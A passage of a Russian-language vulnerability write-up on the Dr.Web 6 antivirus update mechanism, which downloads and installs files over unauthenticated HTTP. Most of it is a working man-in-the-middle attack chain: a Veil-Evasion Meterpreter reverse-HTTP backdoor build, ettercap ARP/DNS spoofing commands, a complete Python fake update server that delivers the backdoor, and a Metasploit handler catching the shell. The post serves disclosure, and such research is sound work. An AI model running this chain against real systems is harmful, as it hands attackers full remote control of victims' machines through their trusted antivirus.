   Connection: Keep-Alive
   Cache-Control: no-cache

   HTTP/1.1 200 OK
   Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
   Content-Type: application/octet-stream
   Content-Length: 10
   Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
   Connection: keep-alive
   Accept-Ranges: bytes

   1397898695

2. Запрос дополнительной информации (актуальная версия антивируса и некоторые другие данные) – файл drweb32.flg

   Пример запроса

   GET /x64/600/av/windows/drweb32.flg HTTP/1.1
   Accept: */*
   Host: update.drweb.com
   X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
   X-DrWeb-KeyNumber: 0110258647
   X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
   User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
   Connection: Keep-Alive
   Cache-Control: no-cache

   HTTP/1.1 200 OK
   Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
   Content-Type: application/octet-stream
   Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
   Connection: keep-alive
   Accept-Ranges: bytes [windows]

   LinkNews=http://news.drweb.com/flag+800/
   LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe
   FileName=
   isTime=1
   TimeX=1420122293
   cmdLine=
   Type=1
   ExcludeOS=2k|xp64
   ExcludeDwl=ja
   ExcludeLCID=17|1041
   [signature]
   sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077

3. Запрос списка обновляемых компонентов системы – файл drweb32.lst.lzma

   Пример запроса

   GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1
   Accept: */*
   Host: update.drweb.com
   X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
   X-DrWeb-KeyNumber: 0110258647
   X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
   User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
   Connection: Keep-Alive Cache-Control: no-cache

   HTTP/1.1 200 OK
   Server: nginx/42
   Date: Sat, 19 Apr 2014 10:33:39 GMT
   Content-Type: application/octet-stream
   Content-Length: 2373
   Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
   Connection: keep-alive
   Accept-Ranges: bytes

   ]…..#…….-.
   ..x.3..x. .**..C…….d…X..7..vB.*P]c…<….^.,.2..c.?.>y….!.(,..*…sA.U.pM..,…….hG….j.*………….F…:. ..!Z…..h..}…(Y1k…..}…F..-….J……………|…3.;…..5..»…S.K`.)
   .Kjx$,….u.5..~.}UX.E… (другие данные опущены)

   Запрашиваемый файл представляет собой архив, сжатый по алгоритму lzma (используется в 7-Zip). После распаковки сам файл выглядит примерно так:

   [DrWebUpdateList]
   [500]
   +timestamp, 8D17F12F
   +lang.lst, EDCB0715
   +update.drl, AB6FA8BE
   +drwebupw.exe, 8C879982
   +drweb32.dll, B73749FD
   +drwebase.vdb, C5CBA22F
   …
   +<wnt>%SYSDIR64%driversdwprot.sys, 3143EB8D
   +<wnt>%CommonProgramFiles%Doctor WebScanning Enginedwengine.exe, 8097D92B
   +<wnt>%CommonProgramFiles%Doctor WebScanning Enginedwinctl.dll, A18AEA4A
   ...
   [DrWebUpdateListEnd]
   

   Шестнадцатеричные значения рядом с именами файлов представляют собой контрольные суммы файлов, вычисленные по алгоритму crc32. В данном случае, контрольные суммы используются для поддержания «версионности» файлов.
   Также можно увидеть, что механизм обновлений может использовать переменные среды, вроде %CommonProgramFiles%, %SYSDIR64% и т.д. – т.е. файлы можно заливать не только в папку Dr.Web, но и другие системные директории

4. Скачивание файлов

   Пример запроса

   GET /x86/600/av/windows/dwrtoday.vdb HTTP/1.1
   Accept: */*
   Host: update.drweb.com
   X-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cf
   X-DrWeb-KeyNumber: 0110242389
   X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D10903F
   User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7600)
   Connection: Keep-Alive
   Cache-Control: no-cache

   HTTP/1.1 200 OK
   Server: nginx/42
   Date: Sat, 19 Apr 2014 02:02:36 GMT
   Content-Type: application/octet-stream
   Content-Length: 5712
   Last-Modified: Sat, 19 Apr 2014 01:31:32 GMT
   Connection: keep-alive
   Accept-Ranges: bytes

   Dr.Web ® version 4.20+ Anti-Virus Database
   Copyright © by Igor Daniloff, 1998-2014
   Created by Doctor Web Anti-Virus Labs, St.Petersburg
   IDRW4…CR/.U.._.C..9G.~J….6G….}u…y$_naykP…x………..h… …………….J…..QS…………….7..(другие данные опущены)

   В том случае, если контрольные суммы файлов из полученного списка обновления отличаются от используемых, то клиент запрашивает патч существующего:

   GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f 
   

   Если патч получить не удается или файла ранее не было в системе, то идет запрос на новый файл целиком:

   GET /x64/600/av/windows/drwebupw.exe
   

   Обновляемые файлы также идут без каких-либо проверок, в открытом виде, либо просто запакованые lzma.

5. Обновление файлов
   После процедуры скачивания файлов, происходит замена старых. При этом дополнительных проверок также не производится. Например, как будет показано далее, Dr.Web без проблем принял сгенерированный пэйлоад из метасплойта вместо родного drwebupw.exe.

На этом в принципе все. Как можно заметить, никаких проверок на оригинальность обновления не проводится и можно попробовать провести MitM атаку и подменить файлы на свои.

Эксплуатация

1. Создаем собственный бэкдор, который бы выполнился на компьютере-клиенте и передал управление злоумышленнику. Для этого можно использовать нагрузку Meterpreter из проекта Metasploit Framework, дополнительно прогнав через Veil-Evasion для обхода антивируса. На выходе получаем файл drwebupw.exe, который в дальнейшем заменит оригинальный компонент антивируса клиента при обновлении.

   Процесс создания бэкдора (c/meterpreter/rev_http )

   =========================================================================
    Veil-Evasion | [Version]: 2.7.0
   =========================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
   =========================================================================
   
    Main Menu
   
   	29 payloads loaded
   
    Available commands:
   
   	use         	use a specific payload
   	info        	information on a specific payload
   	list        	list available payloads
   	update      	update Veil to the latest version
   	clean       	clean out payload folders
   	checkvt     	check payload hashes vs. VirusTotal
   	exit        	exit Veil
   
   [>] Please enter a command: list
   
    [*] Available payloads:
   
   	1)	auxiliary/coldwar_wrapper
   	2)	auxiliary/pyinstaller_wrapper
   
   	3)	c/meterpreter/rev_http  
   	4)	c/meterpreter/rev_http_service
   	5)	c/meterpreter/rev_tcp   
   	6)	c/meterpreter/rev_tcp_service
   	7)	c/shellcode_inject/virtual
   	8)	c/shellcode_inject/void 
   
   	9)	cs/meterpreter/rev_tcp  
   	10)	cs/shellcode_inject/base64_substitution
   	11)	cs/shellcode_inject/virtual
   
   	12)	native/Hyperion         
   	13)	native/backdoor_factory 
   	14)	native/pe_scrambler     
   
   	15)	powershell/shellcode_inject/download_virtual
   	16)	powershell/shellcode_inject/psexec_virtual
   	17)	powershell/shellcode_inject/virtual
   
   	18)	python/meterpreter/rev_http
   	19)	python/meterpreter/rev_http_contained
   	20)	python/meterpreter/rev_https
   	21)	python/meterpreter/rev_https_contained
   	22)	python/meterpreter/rev_tcp
   	23)	python/shellcode_inject/aes_encrypt
   	24)	python/shellcode_inject/arc_encrypt
   	25)	python/shellcode_inject/base64_substitution
   	26)	python/shellcode_inject/des_encrypt
   	27)	python/shellcode_inject/flat
   	28)	python/shellcode_inject/letter_substitution
   	29)	python/shellcode_inject/pidinject
   [>] Please enter a command: use 3
   [>] Please enter a command: set LHOST 10.0.1.106
   [>] Please enter a command: generate
   [>] Please enter the base name for output files: drwebupw
   [*] Executable written to: /root/veil-output/compiled/drwebupw.exe
   

2. Используя arp-спуфинг, перенаправляем запросы клиента на хост злоумышленника. В качестве инструмента можно использовать утилиту ettercap и модуль dns_spoof. Добавляем хосты, используемые для обновления Dr.Web в список перенаправления ettercap. В принципе достаточно одного адреса update.geo.drweb.com (т.к. он проверяется первым):

   echo “update.geo.drweb.com A 10.0.1.106” >> /etc/ettercap/etter.dns
   

   Далее запускаем непосредственно процедуру отравления arp-кэша и подмены dns:

   ettercap -i eth0 -T -P dns_spoof -M arp:remote /10.0.1.1/ /10.0.1.102/
   

   Таким образом, трафик после эксплуатации пойдет по следующей схеме:

   

3. Эмулируем сервер обновления Dr.Web для выдачи клиенту специально подготовленного файла. Для этого был написан небольшой python-скрипт, который:
   1. Принимает входящее соединение
   2. Формирует метку времени и отвечает на запрос timestamp
   3. Формирует файл с дополнительной информацией drweb32.flg
   4. Формирует файл со списком обновлений и запаковывает его в lzma архив drweb32.lst.lzma
   5. Отдает фейковое обновление на запрос клиента

   drweb_http_server.py

   #!/usr/bin/python
   #encoding: utf-8
   
   import SocketServer
   import SimpleHTTPServer
   import time
   import lzma
   import os
   import binascii
   
   from struct import *
   from subprocess import call
   
   #Непосредственно обработчик http запросов от клиента Dr.Web
   class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
   
           if 'timestamp' in self.path:
   	    self.send_response(200)
               self.end_headers()
               self.wfile.write(open('timestamp').read())
   
           elif 'drweb32.flg' in self.path:
               self.send_response(200)
               self.end_headers()
               self.wfile.write(open('drweb32.flg').read())
   
           elif 'drweb32.lst.lzma' in self.path:
               self.send_response(200)
               self.end_headers()
               self.wfile.write(open('drweb32.lst.lzma').read())
   
           elif UPLOAD_FILENAME + '.lzma' in self.path:
               self.send_response(200)
               self.end_headers()
               self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read())
   	
   	#Клиент первоначально запрашивает патч для обновившегося файла, 
           #а если не получает его - запрашивает файл целиком
           elif UPLOAD_FILENAME + '.patch' in self.path:
               self.send_response(404)
               self.end_headers()
   
           else:
               print self.path
   
   def CRC32_from_file(filename):
       buf = open(filename,'rb').read()
       buf = (binascii.crc32(buf) & 0xFFFFFFFF)
       return "%08X" % buf
   
   def create_timestamp_file():
       with open('timestamp','w') as f:
           f.write('%s'%int(time.time()))
   
   def create_lst_file(upload_filename,upload_path):
       # upload_path может принимать:
       # пустые значения, что значит что файл находится непосредственно в директории Dr.Web
       # либо значения вида <wnt>%SYSDIR64%drivers, <wnt>%CommonProgramFiles%Doctor WebScanning Engine и т.д.
    
       crc32 = CRC32_from_file(upload_filename)
       with open('drweb32.lst','w') as f:
           f.write('[DrWebUpdateList]n')
           f.write('[500]n')
           f.write('+%s, %sn' % (upload_path+upload_filename,crc32))
           f.write('[DrWebUpdateListEnd]n')
   
   #по какой-то причине встроенная в Linux утилита lzma в создаваемом файле не указывает размер исходного файла
   #без этого параметра Dr.Web отказывается принимать файлы, поэтому правим руками
   def edit_file_size(lzma_filename,orig_filename):
       file_size = os.stat(orig_filename).st_size
       with open(lzma_filename,'r+b') as f:
           f.seek(5)
           bsize = pack('l',file_size)
           f.write(bsize)
   
   #загружаемый файл должен находится в одной папке со скриптом
   UPLOAD_FILENAME = 'drwebupw.exe'
   
   #создаем метку времени
   create_timestamp_file()
   
   #создаем файл со списком обновляемых файлов, для упаковки в lzma используем встроенную утилиту
   create_lst_file(UPLOAD_FILENAME,'')
   call(['lzma', '-k', '-f','drweb32.lst'])
   edit_file_size('drweb32.lst.lzma','drweb32.lst')
   
   #архивируем файл с фейковым обновлением
   call(['lzma', '-k', '-f',UPLOAD_FILENAME])
   edit_file_size(UPLOAD_FILENAME + '.lzma',UPLOAD_FILENAME)
   
   print 'Http Server started...'
   httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler)
   httpServer.serve_forever()
   

   При запуске, скрипт начнет принимать соединения и в ответ на запрос обновления выдаст фейковое обновление для файла drwebupw.exe

   python drweb_http_server.py 
   Http Server started...
   10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/timestamp HTTP/1.1" 200 -
   10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/drweb32.flg HTTP/1.1" 200 -
   10.0.1.102 - - [20/Apr/2014 10:48:26] "GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 -
   10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 -
   10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
   

   Клиент успешно его примет и перезапишет оригинальный компонент:

   

4. Запускаем обработчик соединения от бэкдора:

   $ msfconsole
   
   msf > use exploit/multi/handler 
   msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
   PAYLOAD => windows/meterpreter/reverse_http
   msf exploit(handler) > set LHOST 10.0.1.106
   LHOST => 10.0.1.106
   msf exploit(handler) > set LPORT 8080
   LPORT => 8080
   msf exploit(handler) > run
   
   [*] Started HTTP reverse handler on http://10.0.1.106:8080/
   [*] Starting the payload handler...
   

   Если все прошло нормально, то при очередной попытке обновиться, от клиента придет коннект:

   

   На этом можно считать, что хост клиента скомпрометирован – мы получили доступ к файловой системе, возможность выполнять любые команды и т.д. Можно было действовать не так топорно, а лишь изменить некоторый функционал антивируса и таким образом оставаться незаметным более долгое время.

Выводы

Как было показано выше, уязвимость в Dr.Web 6 действительно присутствует и подобные атаки вполне могут быть реализованы и в боевых условиях. Так что остается надеяться на трезвый взгляд компании-разработчика. Писать о реальной бесполезности сертификации не буду, уже не раз обсуждалось.